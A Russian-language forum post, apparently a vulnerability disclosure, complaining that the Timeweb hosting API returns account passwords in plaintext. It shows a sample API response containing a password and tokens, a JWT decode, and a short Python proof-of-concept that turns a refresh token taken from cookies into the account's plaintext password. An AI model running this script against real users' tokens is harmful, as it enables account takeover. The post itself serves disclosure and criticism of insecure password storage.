-
Автор темы
- #1
Спасибо команде хостинга timeweb, а отдельно отделу кибер-безопасности и отделу маркетинга
Наверное, я хотел бы написать "это" в каких-то более серьезных тонах, но в последний момент я все переписал, не стал выкладывать ее в какие-то серьезные ресурсы. А просто заливаю вам
Наверное, я хотел бы написать "это" в каких-то более серьезных тонах, но в последний момент я все переписал, не стал выкладывать ее в какие-то серьезные ресурсы. А просто заливаю вам
Статья имеет ознакомительный характер и предназначена для специалистов по безопасности, проводящих тестирование в рамках контракта. Автор и редакция не несут ответственности за любой вред, причиненный с применением изложенной информации. Распространение вредоносных программ, нарушение работы систем и нарушение тайны переписки преследуются по закону.
Предыстория:
Кто не слышал, TW является одним из самых крупных хостеров, почти 20 лет на рынке, одним словом - крутые ребята.
Так вот, сначала я расскажу в этой "статье" (больше это конечно крик души), как вообще адекватные люди хранят пароли в БД, а потом перейдем к сути.
База:
Во первых нам нужно знать то, что знает каждый пятиклассник - что такое хэшировние? чем оно отличается шифрования? и каким нужно быть человеком, чтобы хранить пароль не в хэшированом виде.
Хеширование - это процесс преобразования входных данных (любого размера) в строку фиксированной длины, которая представляет собой "отпечаток" этих данных. В контексте ИБ, особенно при хранении паролей, хеширование используется для обеспечения конфиденциальности и целостности данных.
То есть, зная только hash и алгоритм, невозможно восстановить входные данные (если не брать в расчет брутикифорсики).
Шифрование - это процесс преобразования входных данных в зашифрованный формат, который может быть прочитан только авторизованной стороной, обладающей ключом дешифрования.
Для особо одаренных
Хеширование — это односторонняя функция
Шифрование — это двусторонняя функция
Основная статья:
А теперь начинается контент, как-то раз, мы с моими другом (место для друга) шароебились по TW, в поисках приключений, ну мы их и нашли.
Не буду лить воду, говорить на какие кнопочки мы нажимали и т.д. Суть одна, после 5 минут ресерча xhr запросиков мы нашли это чудо:
Код:
https://api.timeweb.cloud/portal/v1.1/access/recovery/63904c70-ee18-41b3-b583-48ce57d36e99
{
"expires_in":63072000,
"generation":2,
"is_manual":False,
"password":"hj0n3gj7n0",
"registrationDate":"2023-11-14 09:52:16+03:00",
"timestamp":1699955644,
"token":"63904c70-ee18-41b3-b583-48ce57d36e99",
"token_app_key":"ea7fhjr26r313dj5i3o0dvgxkfdf3p3g",
"token_max_count":10,
"token_type":"bearer",
"user":"bt81891",
"user_type":"vds"
}
a) Пароль от VDS сервера
б) Хешированный пароль
в) Шифрованный пароль
г) МОЙ БЛЯТЬ ПАРОЛЬ ОТ АККАУНТА В ОТКРЫТОМ ВИДЕ
Тун-тун-тун, и правильный вариант ответа Г, поздравляю победителей
На самом деле к разбору этого "контента" я подойду ближе к концу, так что продолжаем раскуривать дальше.
Так, ну а теперь исследуем по подробнее из чего строиться этот запрос (важные детали я выделил красным)
Есть такой прикол - JWT (JSON Web Token). Этот компактный формат токена для передачи информации между двумя сторонами. В основном, JWT применяется для аутентификации и обмена информацией. Он представляет собой строку, состоящую из трех частей, разделенных точками: заголовка, полезной нагрузки и подписи.
В нашем примере:
TOKEN = 'eyJhbGciOiJSUzUxMiIsInR5cCI6IkpXVCIsImtp...'
Здесь, мы имеем дело со второй частью токена - полезной нагрузкой. Эта часть содержит фактические данные (claims), закодированные в формате Base64.
Код:
jwt_claims = json.loads(base64.b64decode(unknown_TOKEN.split(".")[1] + "=="))
{
"user": "bt81878",
"type": "access_token",
"portal_token": "63904c70-ee18-41b3-b583-4c8ec75d3e24",
"iat": 1699958695,
"exp": 1699959595
}
Это конечно все хорошо, но теперь нужно понять, где достать access_token
В жизни, в любой непонятной ситуации я иду смотреть свои cookies, вот так мы и сделаем.
refresh_token, ну опять же, кто окончил хотябы 5 классов образования поймет, что это стандартная система аццесс и рефреш токена.
Теперь ищем ресерчим запросы и находим эндпоинт для обновления токенов, и я накидал не большой скрипт, который получит токены, вместе с нашим оригинальным паролем
Python:
import json
import requests
import base64
class TimeWeb:
BASE_URL = "https://api.timeweb.cloud"
def __init__(self, refresh_token=None):
"""
:param refresh_token: Токен для обновления и получения новых токенов доступа.
"""
self.session = requests.Session()
self.session.verify = False
self.refresh_token = refresh_token
self.auth_token = None
self.portal_token = None
def update_token(self) -> dict:
"""
Обновляем и получаем токены
:return: json с токенами
"""
response = self.session.post(
f"{self.BASE_URL}/api/v1/auth/update-token",
cookies={"refresh_token": self.refresh_token},
json={"refresh_token": ""}
)
if response.status_code != 201:
raise HTTPError(f"Status code {response.status_code}")
tokens = response.json()["tokens"]
self.auth_token = tokens["access_token"]
self.refresh_token = tokens["refresh_token"]
self.login = tokens["user"]
jwt_claims = json.loads(base64.b64decode(self.refresh_token.split(".")[1] + "=="))
self.portal_token = jwt_claims["portal_token"]
return tokens
def get_password(self) -> dict:
"""
Получаем данные для входа через access_token
:return: При успехе возвращаем json с ключами login и password
"""
response = self.session.get(
f"{self.BASE_URL}/portal/v1.1/access/recovery/{self.portal_token}",
headers={"Authorization": f"Bearer {self.auth_token}"}
)
if response.status_code != 200:
raise HTTPError(f"Status code {response.status_code}")
self.password = response.json()["password"]
return {
"login": self.login,
"password": self.password
}
if __name__ == "__main__":
refresh_token = 'eyJhbGciOiJSUzUxMiIsInR5cCI6...'
timeweb_client = TimeWeb(refresh_token=refresh_token)
tokens = timeweb_client.update_token()
print(tokens.keys()) # dict_keys(['access_token', 'refresh_token', 'expires_in', 'user'])
m_data = timeweb_client.get_password()
print(m_data)
Вывод:
Я на протяжение нескольких дней дискутировал с отделами TW, и всю суть можно описать так: это бизнес логика, это фича.
Ну и да, как же без комментария от команды TW:
на самом деле, мне немного грустно, к моему фидбеку отнеслись настолько хуево, что в ответе от компании (сделанный специально для вас) говориться о пароле от сервисом, по типу vds.. а проблема то в том, что пароль то от аккаунта.
На этом все.
Хотел бы услышать от вас фидбек. Как вам такая фича, может я просто зря придираюсь?
Последнее редактирование: